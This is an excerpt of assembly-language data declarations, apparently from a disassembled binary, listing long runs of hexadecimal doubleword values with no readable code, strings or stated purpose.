		dd 494C2DABh, 218F1958h, 5E47B1F0h, 2C3BB342h, 93D3D75Eh
		dd 0A453DB47h, 0C64E777Fh, 0DD1DE190h, 0F9A98337h, 63A466E9h
		dd 781A845Fh, 0D49644BDh, 1A45462Fh, 0CE17E9C6h, 0AE4933Ah
		dd 0F5674648h, 38A8F358h, 6E6F46A2h, 26D82CE4h,	98463091h
		dd 0E40AD111h, 607C16DFh, 0DC875049h, 0B5867F7Eh, 1310D415h
		dd 15DAA5B6h, 0FC82EB73h, 9F4246DFh, 0CA57FD85h, 0AA77F638h
		dd 8E4E353Dh, 2B10BECFh, 449B084Ah, 7CC1992h, 55EB1A2Dh
		dd 0A0C7902Bh, 986DEA51h, 464BDC37h, 29C7148Eh,	0E16F4710h
		dd 0D61E2834h, 343EF8A7h, 0C0DF82B3h, 0A65D8227h, 3A47556Dh
		dd 28B15CE5h, 630DFC4h,	0ADA8254Eh, 8F620C86h, 0D77EFC27h
		dd 71C28E30h, 0A2ED7C8Ch, 9C07DD19h, 1246FB49h,	0FA8F4A18h
		dd 0C95B655Bh, 0B49E410Fh, 0E123ED75h, 0E34546D4h, 82CBBE32h
		dd 79F69DAh, 438AFE3h, 843F0A97h, 0C94B6B8Bh, 5E266C29h
		dd 0AAEC3028h, 2F0F4AFCh, 0E224F112h, 945DA5E7h, 5FCED64Fh
		dd 5038251h, 7B0DEAB7h,	0E3E9F06Ah, 7976E2D6h, 0C6D3C268h
		dd 86A8B106h, 9C288F7Fh, 8726AB41h, 9F84CF01h, 8879A213h
		dd 0A66C54Eh, 0C438A174h, 86D6DB99h, 1776262Eh,	0A2CCC15Fh
		dd 0FA233984h, 0F3F5FE60h, 0BF7A4A3Fh, 679CD13Eh, 6524A968h
		dd 8C9506F0h, 3CA28190h, 38A550D8h, 0D93A9313h,	0C5065672h
		dd 7D9DCB49h, 0FDA6FBA4h, 33C36A34h, 0C9863CF0h, 0E6A0A935h
		dd 49E9773Fh, 0CC8823BCh, 839A1C2Ah, 0C09A95Eh,	0D06508ACh
		dd 5C2ADD76h, 0BCBF86Eh, 0CE1AD270h, 9935C46Ah,	379F5EF4h
		dd 7B2BF780h, 0F8BC58EDh, 0CAAF45F0h, 991D7553h, 8C001Dh
		dd 0F3B2B673h, 5266A84Fh, 5CEAA406h, 0C78F56DEh, 0D647EDADh
		dd 4F08850Dh, 0D7D0A139h, 0F97A343Ah, 7FEA904Dh, 0EE830BD9h
		dd 3E6290EAh, 0B765D092h, 0DC7E29D7h, 983E3C21h, 33A32FEBh
		dd 81B088EEh, 85200182h, 0E9CA0E37h, 98B36534h,	6C7832E0h
		dd 0D3297C72h, 0BD51C973h, 0C7F29620h, 0A15DE4A8h, 835CC98Ah
		dd 9A6FC8AAh, 12D2D01Bh, 0ECA6A4B4h, 0DF5A0046h, 6118387Fh
		dd 5B2AAAAFh, 99D5621Ah, 8402DFA6h, 0F0AB4B0Fh,	0D77C7A43h
		dd 8C3A474Fh, 0F3A62C94h, 0F6310360h, 2B89E1Dh,	212EF5ACh
		dd 9B5F1609h, 43B8BA6Ch, 0A3B7FF0h, 839D0CC9h, 0E754ECD3h
		dd 8C2985E0h, 0EE3274D0h, 0DE6272EDh, 0A561D152h, 0CEA3E2AFh
		dd 7B0A8624h, 4B99A6B4h, 8B717A1Ch, 26ED186Dh, 0CA39AF20h
		dd 50CA521Ah, 79DE5083h, 72B48559h, 4CCE8144h, 0F34016A0h
		dd 0E1539442h, 6F7486C4h, 0B766B030h, 1ADA448Eh, 0F8DF79C0h
		dd 0EF828120h, 7ED1F46Ch, 8B77A077h, 58119D4Dh,	6CD30D2Fh
		dd 70CA61D7h, 129EFh, 0EB802BEDh, 7FF4B106h, 0F39F16CFh
		dd 0F56CBC79h, 791D4343h, 70541885h, 934D0082h,	2731E956h
		dd 406F8201h, 73FE1A61h, 0B43F48D7h, 0B8DB7567h, 0F4594A0Bh
		dd 0B6727AAAh, 0D63FC049h, 19CC856h, 4D0339ACh,	280D01A5h
		dd 715A8908h, 469DE5A0h, 0E61F5A3Fh, 19BD38C3h,	344DE17Dh
		dd 0F4ADF872h, 0EA82B25Fh, 8E2E5490h, 66406C40h, 88EB3B5h
		dd 10D3A43Fh, 0DBA47C06h, 2E06571Bh, 60856CEBh,	90599F6h
		dd 0E8D7797Fh, 26F01659h, 0DD540610h, 12AF3C8Eh, 0EAC8BD67h
		dd 489E6F6Ah, 1F6AF16Bh, 50AB85F2h, 0B7CA3FE9h,	764E19BDh
		dd 0E4A857CAh, 9B6D8565h, 0F2EFC30Ch, 0AC4D63AEh, 0B6CB8E66h
		dd 0FF82874Ah, 662DDD7Dh, 535B86F2h, 0A2994392h, 6B7EF5A8h
		dd 52FDA1DDh, 19DD5690h, 0E9B98838h, 1AB16D8Eh,	8074904Fh
		dd 0AB9D4FA4h, 0A965FDBAh, 0E40B06D3h, 0F3B6A51Fh, 9CA84D95h
		dd 3C250528h, 46C63B6Fh, 0E531C350h, 3BFC7531h,	723AB421h
		dd 41430C2h, 1E06090Eh,	0C965894Ah, 0CFDC09h, 58EF533Fh
		dd 0A6D5F2B6h, 4983DBBBh, 0C655F4D4h, 8E81216Bh, 5B8958Ch
		dd 22AAAA72h, 80C615D1h, 58D906F1h, 0AA37CEAFh,	0D14AD342h
		dd 44C8EC30h, 4639B078h, 0E5ABD5C4h, 0E08DBB5Bh, 0DA653h
		dd 0B2CD00C4h, 0F71A45C4h, 98584476h, 0E8C857Ah, 8A5AA5B1h
		dd 0F910846Ah, 0F9A84A1Ch, 0F3F8F329h, 33EB2B24h, 39E3A6F1h
		dd 0AD06906Fh, 196A99E4h, 7CA8471Bh, 0DD250D2Ch, 0CB1B3F6Bh
		dd 0C456EFFCh, 7AC60296h, 65365847h, 8F35FF5Ch,	7E05DCA7h
		dd 128C10E2h, 332EAB2h,	6B9F5826h, 46F74Ch, 5FE0CA8Fh
		dd 3D63A315h, 45ADF8F7h, 18C04504h, 0D95CE54h, 9A8C1EE5h
		dd 9416E48Fh, 0A06666D3h, 0A07C3FF6h, 67185C31h, 3E102A92h
		dd 0C54AC564h, 793AFC87h, 512FE5BCh, 0AFD3B1FCh, 0B201DDFEh
		dd 60E8A825h, 0C7E05E9Bh, 9EB30C29h, 56B5E94h, 6C299A47h
		dd 0BECE5A4h, 0D6B80DC6h, 0C036824Bh, 401911BCh, 0DCA31567h
		dd 3C8D4819h, 0B0C66F83h, 366CA224h, 72552300h,	26C29DB4h
		dd 0C77CE718h, 38E3B64Eh, 400BC653h, 6A2CD587h,	6F32EEADh
		dd 3AF3AA62h, 0FCC02F59h, 66B778C6h, 0B29D70CBh, 6EB7EF16h
		dd 0C6944B94h, 8E77F630h, 0FD8432Ch, 7147E178h,	3711477Bh
		dd 0CC4827EDh, 0F5AC5618h, 15AD703Bh, 2A33A156h, 837B3311h
		dd 6234ED6Ah, 0FD8B62EEh, 956DA3D5h, 0FFAAF49h,	44B56433h
		dd 23B01771h, 0FDF9253h, 0F1BF7844h, 899F19E6h,	5688B078h
		dd 41D5CA20h, 9D5D36E8h, 8E8E885Fh, 2D0F0CDAh, 54199777h
		dd 0E14FBFBCh, 40C0840Ah, 0B9EF22C7h, 65174D83h, 0DB3A09D7h
		dd 47CE356Eh, 15B166CAh, 6CB4825Eh, 5117DD8Eh, 767E1B90h
		dd 0EEB0735Fh, 88BF67A2h, 0C26365B4h, 0B9EA070Dh, 0DD9665CDh
		dd 0B743D5BDh, 0F52B9D99h, 1BC7A9BFh, 87608672h, 1C56A945h
		dd 821B22E8h, 0D34C0CD8h, 99508D76h, 9E7C30C8h,	0E3F0BE4Ch
		dd 0DCDE10B4h, 9D843334h, 0EDA129F4h, 6C455E2Dh, 0BD8A569Eh
		dd 0A290EC83h, 847FD8EEh, 3FF42E0Eh, 0E7B965EBh, 0D44B21A4h
		dd 0D4A58448h, 2312CE54h, 0B4CB0605h, 0DB5055DAh, 9411471Bh
		dd 0C36C04EBh, 7DABE470h, 7D51D663h, 54151495h,	31C19942h
		dd 0EE638978h, 0D6BA7243h, 0CBF0BF46h, 0CA4672BDh, 1B0EE455h
		dd 408A430Ch, 0FE4F1415h, 7CE6881Fh, 0E81EAE8Bh, 0A2420096h
		dd 0B009CDABh, 0C344B6FEh, 0BF77477Ch, 926413C9h, 9C762FC7h
		dd 0BF8D8307h, 0F9BB7388h, 1DC69728h, 808A8F46h, 0ED4522E0h
		dd 570C22Eh, 32D80EA2h,	5FE32BFCh, 0C346F48Ch, 0CE4C0B17h
		dd 28F24A16h, 0A833E896h, 0D49464E8h, 0B28E6710h, 0DE144A78h
		dd 66E9B5A8h, 9512FEA4h, 62CA06DDh, 35E56BCBh, 0E58E8925h
		dd 38F69D27h, 3BF8BD71h, 0A440DA7Fh, 4BACE2F4h,	55E5B37Dh
		dd 8B09E5BAh, 0F8F69263h, 4DD09E33h, 0B377B4A9h, 677D4308h
		dd 0A858FA2h, 8E5A08D9h, 2DE124CAh, 5D0BD583h, 32685E94h
		dd 0B876A314h, 88378EAAh, 1D14338Ah, 0A8659030h, 0DF693706h
		dd 0A07D1Dh, 27C6D88Eh,	0D17DF339h, 4F2BCD19h, 0B74705CDh
		dd 0D59A41E0h, 2EFF6539h, 928C4E8Ch, 0AA77B780h, 4E113204h
		dd 0CC4C632Ch, 0CA90B6F2h, 8A5616D1h, 0D04B26ECh, 53D92438h
		dd 1E18625h, 0B6C70975h
		dd 7CA7EC15h, 98F921C2h, 0C182761Fh, 49E3D4AAh,	0CB5F36C6h
		dd 0E9E6353Ch, 2DD46774h, 0B6E2DA55h, 80689ED2h, 731EC853h
		dd 7B9542C7h, 9C41EEB0h, 47CC438Eh, 0BA73CE5Eh,	30982E0Ch
		dd 7C98E55h, 31FDB645h,	57E8D180h, 0F951C3BEh, 90E96F3Fh
		dd 39F198CFh, 35E9BD7Fh, 613BDF42h, 894011A1h, 0E3B979B3h
		dd 0BC5D5793h, 0EEAD0FE3h, 8DA3BF34h, 54E07DA3h, 2793A96Fh
		dd 6D338945h, 0BF50DCA7h, 32070CF1h, 2AD04742h,	39D167C2h
		dd 0A7DED474h, 1D9D7A69h, 0F88958h, 0A16424F5h,	0EE8541DFh
		dd 2D65934Bh, 63E3417Bh, 2D5BEFB7h, 0A70566A7h,	0CA9947C2h
		dd 3FE46A3Ch, 93430129h, 7F6D45B2h, 0A56CBBE0h,	1879191Eh
		dd 0D251AF53h, 0D4C21A0Dh, 0A046E89Eh, 0B6157DB1h, 28D829F6h
		dd 413BE592h, 0B0530287h, 0E94437FCh, 6D45F29h,	0F5E39D90h
		dd 78E4346Dh, 0E1808FB6h, 420EA922h, 7135DB8Ah,	1048BE9Eh
		dd 6ED1A8DEh, 7C36EFA2h, 0BB7D2E83h, 4FD3A1Fh, 22FBC36Bh
		dd 5B09AF77h, 0ABD57E1Fh, 0AC2256B3h, 0C53A04BDh, 0FC072A90h
		dd 16F3BFFAh, 6FE9B67Dh, 8D9E278Bh, 6EBA1BE7h, 622E1239h
		dd 0AAAD20EAh, 0CE0599E8h, 0C7601970h, 0E1E76D56h, 2CF6EBEBh
		dd 0D918F610h, 739C6731h, 0C97AD5B8h, 886BEF4Eh, 80B6E8F8h
		dd 67F4748Fh, 0EBB44AB1h, 6D458109h, 0FC5E2AF0h, 27FB800Bh
		dd 149CDC70h, 0AD1338EFh, 77BB9BBFh, 0FA17268Ch, 884D9A5Fh
		dd 7C482E05h, 0A37745EAh, 7D06EFB4h, 0C8230BABh, 0D786994Eh
		dd 1EF5F5C9h, 0F99630C4h, 41FD401Bh, 0D61E524Eh, 3C5C10CAh
		dd 87410523h, 147CC275h, 7F423AD1h, 996DCDB7h, 0D0977337h
		dd 6A1C7C2Eh, 0A4942D7Ch, 0DA209E70h, 782F183Dh, 2C1B55C5h
		dd 5F85F280h, 0CA5A212Dh, 655EC13Ah, 671EE84Bh,	0DD523383h
		dd 8AE931DFh, 0BA0030A2h, 5DD413DFh, 91648E9Dh,	0AB740168h
		dd 55E54C42h, 99426397h, 22C107D0h, 66DF22FEh, 0BEE27D3Dh
		dd 69328B62h, 0B67F88A9h, 84A424EDh, 0FBBBE45Dh, 1E570091h
		dd 50921C5Ch, 3F3D7FF2h, 8A53DEA6h, 0FB319161h,	0B0A16A33h
		dd 0B585AE7Fh, 22AC7CACh, 0FEC88A13h, 0B1FAAB02h, 68C942E1h
		dd 7104DA60h, 0B942CB57h, 55C42EF0h, 579B5B94h,	514F8A4Eh
		dd 5102CB94h, 0BD864F98h, 31FA939Ch, 45E06068h,	3D8B4B64h
		dd 76BF68CDh, 9B1612A4h, 0DFE9A9C2h, 7039D243h,	10D144AEh
		dd 0CACB07D7h, 0E1AAC30Eh, 27EC4F18h, 2304A1A1h, 827E480Ah
		dd 65357E2Fh, 8D5ED753h, 24249264h, 0C797D069h,	7BD451F1h
		dd 0A52C6032h, 14DD2653h, 58D1824Bh, 0A784569Fh, 4BEE5A6Eh
		dd 5D995992h, 175F9591h, 0B67FDE47h, 0CE3A8E87h, 0B181AA73h
		dd 712A3B07h, 9B1A5628h, 0E24FA526h, 9760C980h,	0C00180CEh
		dd 0EE2B226Ch, 4C9297AEh, 961EDF4Eh, 78BC51C4h,	0AA733C2Dh
		dd 0F972DBE1h, 699F95D8h, 0A5E45133h, 35567BBEh, 0F1BA83ACh
		dd 2CBA2EA1h, 0CFC5E9F6h, 0B2D4AE37h, 541A0271h, 0E5308D14h
		dd 55A9EA63h, 0DA3A03CCh, 0FE3785B8h, 5197AB0Ah, 0C95EFFC5h
		dd 9127F730h, 9A03BCB1h, 0F62F79D8h, 5474EDADh,	0EBB44DF4h
		dd 2C010A2Bh, 60853303h, 0C48D56DFh, 0D07DCDFBh, 2EA4763Fh
		dd 0C72CF587h, 0E71A1616h, 0AF9E44C5h, 0EB545487h, 0E469FA3Ah
		dd 0BA96B81Ah, 2309F0B2h, 0D0F64C6Bh, 5BC0A999h, 0C14A9E2h
		dd 8A4A8E88h, 37112A04h, 92A81502h, 0DA372072h,	4EBC7A58h
		dd 342761EBh, 276153E3h, 4B6A226Ah, 521BE02Bh, 96E8F189h
		dd 69A97E9Bh, 0E7D89162h, 0ACE2D61Bh, 0F7C089h,	80700ABEh
		dd 56B60F09h, 0A7C0B9FFh, 176804E2h, 31098070h,	0AC1630C0h
		dd 0E102948Dh, 49098711h, 11AAEA81h, 0F9810987h, 4E203FFh
		dd 0C3E57Fh, 133h dup(0)
		dd 7FD79A8h, 274FCFA2h,	44F1F7E4h, 8CE88C2Bh, 95AD7261h
		dd 948F17A2h, 4CBE5307h, 62D367C8h, 8CC30F0Bh, 7C4C9B91h
		dd 0CCDA3CD8h, 8C43DFE5h, 0B3EE7CB2h, 2CD34C3Fh, 0A1510BF7h
		dd 0BDEE6C27h, 0F41665D5h, 0A6ABE199h, 47D4E7AAh, 8E8EA38Eh
		dd 8785F66Ah, 0B36F8A0Bh, 42F4373Ch, 0E7334351h, 17D88820h
		dd 0CF67D77Eh, 4761B56Ch, 675A0AB6h, 0B3D07E58h, 2A4F5746h
		dd 875D23C9h, 52BC0746h, 77D6350h, 27367CD2h, 46F15F34h
		dd 0E2A2D72Eh, 8765E30Bh, 0B29F92AFh, 3849375Ch, 0A7076383h
		dd 6A59F10h, 0A28E970Ah, 4741A314h, 72C36B73h, 137EF6B8h
		dd 0A6AF02E2h, 0C6E8A004h, 66E13EE6h, 932276E0h, 26978251h
		dd 53583359h, 999BD68Eh, 0C6D1C25Dh, 0A7CBFEC2h, 433036BCh
		dd 0E6F342A6h, 120DCB3Dh, 0B32C96EAh, 46E1A2B4h, 669AB476h
		dd 67287B98h, 0CE8F5686h, 0C689360Ch, 9C16A9D1h, 867D3694h
		dd 329793C6h, 332DB634h, 0DF3B9E6Fh, 8665F66Fh,	0B28EA3EFh
		dd 7AD4361Ch, 0A647B753h, 0A32B8550h, 32A62BC7h, 8672B604h
		dd 0C39BC6Eh, 0D675A63Ah, 0A62F165Ah, 53D6616Ch, 0E6634262h
		dd 159DF3A9h, 5257965Ah, 6CAC3B0Eh, 370B9614h, 0C3D39E5Ch
		dd 5AA81602h, 85EAB549h, 8766AAF6h, 0FAED35E4h,	65F4155Fh
		dd 11744AE4h, 0E8DB95CAh, 0C5C67D5Dh, 445298D2h, 0AFC975D8h
		dd 1A9005C6h, 45A9C255h, 62C3D5BAh, 0C5343CFCh,	3DAB95BDh
		dd 68A0716Eh, 0C99F55B6h, 0D611B011h, 781E55D6h, 5CD6171h
		dd 259794E2h, 0BAD2E584h, 256F62EBh, 9E01B578h,	21EA9C3Ah
		dd 4E69757Fh, 0A570D1E3h, 85C0FE60h, 7557D549h,	0E2C44A07h
		dd 9A4B955Ah, 0C55671FDh, 66AAEA42h, 3A397528h,	0A520D583h
		dd 0C6B88A30h, 0DA27D53Eh, 535A591h, 0FE8E2A1Eh, 815B50Ch
		dd 0E51BF497h, 50F6650Ch, 0E5434132h, 4FD3CE8h,	34721DFAh
		dd 0C9F1F4E0h, 24FF1C6Bh, 311AA4E8h, 0A49F00F2h, 0C4D96334h
		dd 0E4FFBCD6h, 814474D0h, 2487806Dh, 54C10949h,	9BECD4FEh
		dd 0C4A1532Dh, 1DF74CB2h, 0C4A934D7h, 0F12DE12Bh, 0FC1674E0h
		dd 9CF63069h, 44D1A404h, 0A40E3471h, 0F4617FCh,	0ABF2675h
		dd 922BC909h, 0C7E6AB24h, 0EC6D3464h, 0DB986B8Ch, 0C73BB3EDh
		dd 5BDBD099h, 47B581A7h, 0B70DA1ADh, 47A340Ch, 6973AB22h
		dd 442E00C5h, 0AD171D3Ah, 0D9BCB05Ch, 646BC61Bh, 0E02DACA1h
		dd 0A4399D45h, 0E06DBF1Ch, 0DA92321Ah, 81022E5Dh, 24079486h
		dd 0C53DC207h, 63BE83C0h, 0FE70FCF8h, 28EF13F2h, 7AF91790h
		dd 0E3E35370h, 0AD2FB3D2h, 6FFC5C51h, 155AA3F0h, 479FD0B6h
		dd 0A39F78C4h, 0AF9B4FC1h, 0F832F38Fh, 0EF972FB5h, 1389073Bh
		dd 560160FBh, 476530A1h, 0E0C2D975h, 0B8D5F75Bh, 41FA0BD0h
		dd 0B69171B7h, 68B6B884h, 777E57F2h, 98259F5Eh,	4371B376h
		dd 809C015Dh, 0B0A3F032h, 0ABD475ABh, 0F04549D7h, 0E357E884h
		dd 0C2C67350h, 674470BDh, 8442BF60h, 2738D3B5h,	81DEFF1Ch
		dd 0C44BD301h, 0C32935A3h, 212797A5h, 3D57328h,	669C931Ah
		dd 3F244C04h, 0EC0B931Dh, 83054B88h, 0D6CAEC02h, 4DF972EFh
		dd 0E2F39676h, 7AD88DF0h, 0ADE7D2F9h, 42E10664h, 62DB6ADEh
		dd 411CF2D8h, 0A2DDED5Ah, 0C2C952CCh, 0E28320F3h, 2BD76C0h
		dd 22B792BAh, 4206B33Ch, 0DB77E41Dh, 0D5F9C8EBh, 0F6D15CEBh
		dd 0B1E041C0h, 0D1FE37E2h, 61FB2EA2h, 46E4F5E7h, 26AF80B7h
		dd 0E7BBE12h, 8275F278h, 0A26F1272h, 0C269326Ch, 0E2635266h
		dd 25D7260h, 2257925Ah,	4251B254h, 624BD24Eh, 8245F248h
		dd 0A23F1242h, 0C239323Ch, 0E2335236h, 22D7230h, 2227922Ah
		dd 4221B224h, 621BD21Eh, 8215F218h, 0A20F1212h,	0C209320Ch
		dd 0E2035206h, 1FD7200h, 21F791FAh, 41F1B1F4h, 61EBD1EEh
		dd 91E5F1E8h, 0F1AB74A5h, 80BA5EAEh, 84A135B2h,	0A8CD02A3h
		dd 6DB0742Ch, 0DA5D0ABh, 0C9B3D7h, 81F488CAh, 0D649147Dh
		dd 0A0CC43EFh, 88E534D2h, 1DC14CCh, 5671C678h, 32FEDDD7h
		dd 0FEA99EBh, 81E09DECh, 0D69A80EAh, 0B510432Bh, 8D1A1713h
		dd 0C3237115h, 4420E68Ch, 3218E210h, 2536B42Ah,	0E2308331h
		dd 0D83D7E26h, 2CA4310Dh, 841026A3h, 734F3434h,	4E7AE355h
		dd 0E831D450h, 275C3785h, 0CD40945Ah, 0C06D734Bh, 1B19486Eh
		dd 1E64B4C9h, 6E4E2B5Ch, 0D107E87Ah, 0D11B11Bh,	58B9FA4h
		dd 0EC9CB696h, 9DEF5197h, 8C9CA4F9h, 8F8F13BCh,	89DD1593h
		dd 0DFA204C3h, 10B2C295h, 18A2B6A1h, 0E3B3ACC8h, 0C4DC77AFh
		dd 0A497028Fh, 0E0B30FDAh, 5C9733B0h, 6EE9D9FDh, 39D2ECF0h
		dd 0DFEA4EDh, 0F6C9C2ABh, 0C3E87DF1h, 0EEBB03E8h, 0E0EF3CE2h
		dd 7D70ECh, 2077907Ah, 4071B074h, 606BD06Eh, 8065F068h
		dd 0A05F1062h, 0C059305Ch, 0E0535056h, 4D7050h,	2047904Ah
		dd 4041B044h, 603BD03Eh, 8035F038h, 0A02F1032h,	0C029302Ch
		dd 0E0235026h, 1D7020h,	2017901Ah, 4011B014h, 600BD00Eh
		dd 8005F008h, 9FFF1002h, 0BFF92FFCh, 0DFF34FF6h, 0A8ED6FF0h
		dd 2DD4E183h, 73ADE7CAh, 2A90E18Eh, 9F59AB3h, 0A6FF21E1h
		dd 0CABD5CECh, 0E1EE72A4h, 0B1EF2A8Bh, 2D84C3FFh, 0CEBE3B4h
		dd 0A4C3CF9Ch, 97A5AC83h, 9F9F0F80h, 0E413E5AFh, 383F6DAEh
		dd 0F1079108h, 0EA08B32h, 0D6A2255Fh, 82618325h, 97FFA692h
		dd 9F6F0F72h, 37812F12h, 87634F66h, 935E200h, 1F57E6B2h
		dd 3FBD2E54h, 0D64BCF4Ah, 7F2DB9AEh, 603F0F40h,	0D56F2569h
		dd 0F576C236h, 0AAD23960h, 2ED00624h, 0CDDE1EE4h, 0A05C08B0h
		dd 1A6D8A36h, 0F70C489Ah, 0BF093F0Dh, 0DD03C98Bh, 0FE3B6F00h
		dd 0E1A1DE7Dh, 3EF1AEA1h, 5EEBCEEEh, 7EE5EEE8h,	9EDF0EE2h
		dd 0BED92EDCh, 0DED34ED6h, 0FECD6ED0h, 0CC998C1h, 779DB8D6h
		dd 4FAADFF7h, 2BB6E0F0h, 93F81BBAh, 0D8A121E4h,	0CAA807AFh
		dd 0A8C87FA9h, 11CEC7C5h, 2C9FAE96h, 17D7D89Ch,	6F94FFC1h
		dd 0F8690ACAh, 0F62D786Bh, 97784773h, 0EF647A7Bh, 5738D83Fh
		dd 3E63A13Dh, 4849DC50h, 6F1CA704h, 8B071F43h, 0B646385Fh
		dd 0CA4A5C41h, 0F7382617h, 116EC731h, 2C3FAE36h, 1777D83Ch
		dd 6F34FF61h, 0CB1C006Ah, 0B34E3B14h, 0B81B415Eh, 0EA062719h
		dd 48529F03h, 3158E75Bh, 4FF5CDFCh, 34A9FBEAh, 8CFE1CBBh
		dd 0B2BE2CA4h, 0CDE64FEBh, 0E88878E8h, 17D098D8h, 5BD9A29Ch
		dd 49C084C7h, 2B90FCC1h, 92E6449Dh, 0AFB72DBEh,	94EF5BA4h
		dd 0ECBC7CF9h, 7BAF82E2h, 3AAAB9ADh, 55929A8Ch,	3597FB8Bh
		dd 94E9059Dh, 0B49D26C5h, 82D51897h, 0FF7234C9h, 0F65837Ah
		dd 7438F162h, 157ADC7Fh, 6867BE0Eh, 90520135h, 0F55B7F51h
		dd 0D4354559h, 0F4596619h, 4211D85Bh, 3F4EF40Dh, 4F29C33Eh
		dd 347CB12Eh, 0D53E1C23h, 0B0243E26h, 0DF2B1D29h, 0F51F6074h
		dd 1518C51Fh, 3658A472h, 81AC41Ah, 244CB25Eh, 92FF0F0Dh
		dd 0E0EF3EEEh, 0CDE205BFh, 0ADE324E1h, 14E287FFh, 29EBBDF0h
		dd 0E8EC4DCh, 34C5EDBEh, 95A904DDh, 0B5DD2785h,	839519D7h
		dd 0FEB23589h, 0EA582BAh, 75F8F0A2h, 14BADDBFh,	71B6E1A6h
		dd 0C8C80EB1h, 0A99C24C9h, 0BA9B43DEh, 0E8862599h, 4AD29D83h
		dd 33D8E5DBh, 4E75CC7Ch, 3529FA6Ah, 8D7E1D3Bh, 0B17A2124h
		dd 0CF775E75h, 0FF557E75h, 1552C448h, 3308E55Fh, 4E45CC4Ch
		dd 3519FA5Ah, 8D2E1D0Bh, 0B12A2174h, 0CF275E25h, 0FF257E25h
		dd 1428C438h, 6568A542h, 0A31BCE11h, 7CEA13E7h,	9C0F0C12h
		dd 0BC092C0Ch, 0DC034C06h
		dd 0FBFD6C00h, 1BF78BFAh, 3BF1ABF4h, 5BEBCBEEh,	7BE5EBE8h
		dd 9BDF0BE2h, 0BBD92BDCh, 0DBD34BD6h, 0FBCD6BD0h, 1BC78BCAh
		dd 3BC1ABC4h, 5BBBCBBEh, 7BB5EBB8h, 9BAF0BB2h, 0BBA92BACh
		dd 0DBA34BA6h, 0FB9D6BA0h, 1B978B9Ah, 3B91AB94h, 5B8BCB8Eh
		dd 7B85EB88h, 9B7F0B82h, 0BB792B7Ch, 0DB734B76h, 0FB6D6B70h
		dd 1B678B6Ah, 3B61AB64h, 5B5BCB5Eh, 7B55EB58h, 9B4F0B52h
		dd 0BB492B4Ch, 0DB434B46h, 0FB3D6B40h, 1B378B3Ah, 3B31AB34h
		dd 5B2BCB2Eh, 7B25EB28h, 9B1F0B22h, 0BB192B1Ch,	0DB134B16h
		dd 0FB0D6B10h, 1B078B0Ah, 3B01AB04h, 5AFBCAFEh,	7AF5EAF8h
		dd 9AEF0AF2h, 0BAE92AECh, 0DAE34AE6h, 0FADD6AE0h, 1AD78ADAh
		dd 3AD1AAD4h, 5ACBCACEh, 7AC5EAC8h, 9ABF0AC2h, 0BAB92ABCh
		dd 0DAB34AB6h, 0FAAD6AB0h, 1AA78AAAh, 3AA1AAA4h, 5A9BCA9Eh
		dd 7A95EA98h, 9A8F0A92h, 0BA892A8Ch, 0DA834A86h, 0FA7D6A80h
		dd 1A778A7Ah, 3A71AA74h, 5A6BCA6Eh, 7A65EA68h, 9A5F0A62h
		dd 0BA592A5Ch, 0DA534A56h, 0FA4D6A50h, 1A478A4Ah, 3A41AA44h
		dd 5A3BCA3Eh, 7A35EA38h, 9A2F0A32h, 0BA292A2Ch,	0DA234A26h
		dd 0FA1D6A20h, 1A178A1Ah, 3A11AA14h, 5A0BCA0Eh,	7A05EA08h
		dd 99FF0A02h, 0B9F929FCh, 0D9F349F6h, 0F9ED69F0h, 19E789EAh
		dd 39E1A9E4h, 59DBC9DEh, 79D5E9D8h, 99CF09D2h, 0B9C929CCh
		dd 0D9C349C6h, 0F9BD69C0h, 19B789BAh, 39B1A9B4h, 59ABC9AEh
		dd 79A5E9A8h, 999F09A2h, 0B999299Ch, 0D9934996h, 0F98D6990h
		dd 1987898Ah, 3981A984h, 597BC97Eh, 7975E978h, 996F0972h
		dd 0B969296Ch, 0D9634966h, 0F95D6960h, 1957895Ah, 3951A954h
		dd 594BC94Eh, 7945E948h, 993F0942h, 0B939293Ch,	0D9334936h
		dd 0F92D6930h, 1927892Ah, 3921A924h, 591BC91Eh,	7915E918h
		dd 990F0912h, 0B909290Ch, 0D9034906h, 0F8FD6900h, 18F788FAh
		dd 38F1A8F4h, 58EBC8EEh, 78E5E8E8h, 98DF08E2h, 0B8D928DCh
		dd 0D8D348D6h, 0F8CD68D0h, 0E73888CAh, 6292573Bh, 0A8338CFAh
		dd 78F4DB9Fh, 98AF98B2h, 28F36553h, 0D8A34BA6h,	0D9915A0h
		dd 1868776Ah, 0C8641094h, 188AC92Ch, 758AEC89h,	6DA7019Eh
		dd 0A786268Ch, 6C7346CCh, 74CA579h, 0D52B89D2h,	5109FC45h
		dd 287BBBA1h, 0A32872Ah, 0B822F733h, 0D627492Fh, 0F8BC3C29h
		dd 8A1D0D22h, 0E717E64Fh, 7C11C65Dh, 350B9B61h,	1D4187D7h
		dd 9212050Ch, 0BC18D638h, 39FB2173h, 858B6031h,	0BA02FCB8h
		dd 1CB32010h, 1424C78Bh, 5F4772EFh, 25680587h, 0B79C4F91h
		dd 6573502Fh, 0CADFF2C0h, 45D51C58h, 43B9C4BDh,	0A9C6DBCFh
		dd 3295E270h, 96F307C2h, 0E5B9F8B8h, 6FF78A52h,	68AD87B5h
		dd 16ACA6A4h, 0C2A161A2h, 5631776Eh, 7646D79Bh,	0F77FF282h
		dd 9799258Dh, 0D7764572h, 2899678h, 0E4768480h,	0D6815277h
		dd 4B6F3D6Ch, 8470CD7Bh, 970E9761h, 421F27A7h, 0D7185FA6h
		dd 4F710350h, 165DDD47h, 6D460744h, 9326BA23h, 74C7FAB5h
		dd 303F1D06h, 993C9731h, 0AF467052h, 21ED9254h,	0F213755Bh
		dd 230C5B15h, 572BD2BEh, 132B070Ch, 0F78B6635h,	3103D609h
		dd 0D1064200h, 0FEFBD60Ch, 7EB446EAh, 9C84D485h, 574BD692h
		dd 722716D9h, 96D2F8A2h, 0C4E7D633h, 0B5AC2AA3h, 28BDC1C0h
		dd 0E2A4E0B2h, 1B9726B6h, 0E6E9C7AEh, 98889B5h,	9B2898Fh
		dd 9B489B1h, 0FB5C46BBh, 0DB624B4Fh, 2B88AB75h,	0BAE9B9Bh
		dd 197BFB41h, 1948B945h, 1952794Fh, 1954B951h, 0D65EF95Bh
		dd 0CB825BAFh, 2BA8BBB5h, 7B4EEB5Bh, 1B748B61h,	2908A948h
		dd 0E972690Fh, 2974A971h, 697EE97Bh, 0BBE2667Dh, 5BC8CBF5h
		dd 6B2EEBDBh, 0B349B01h, 3915BB27h, 0F952594Fh,	39545951h
		dd 795ED95Bh, 0F5A0D95Dh, 4828D835h, 680EF81Bh,	38F4A8E1h
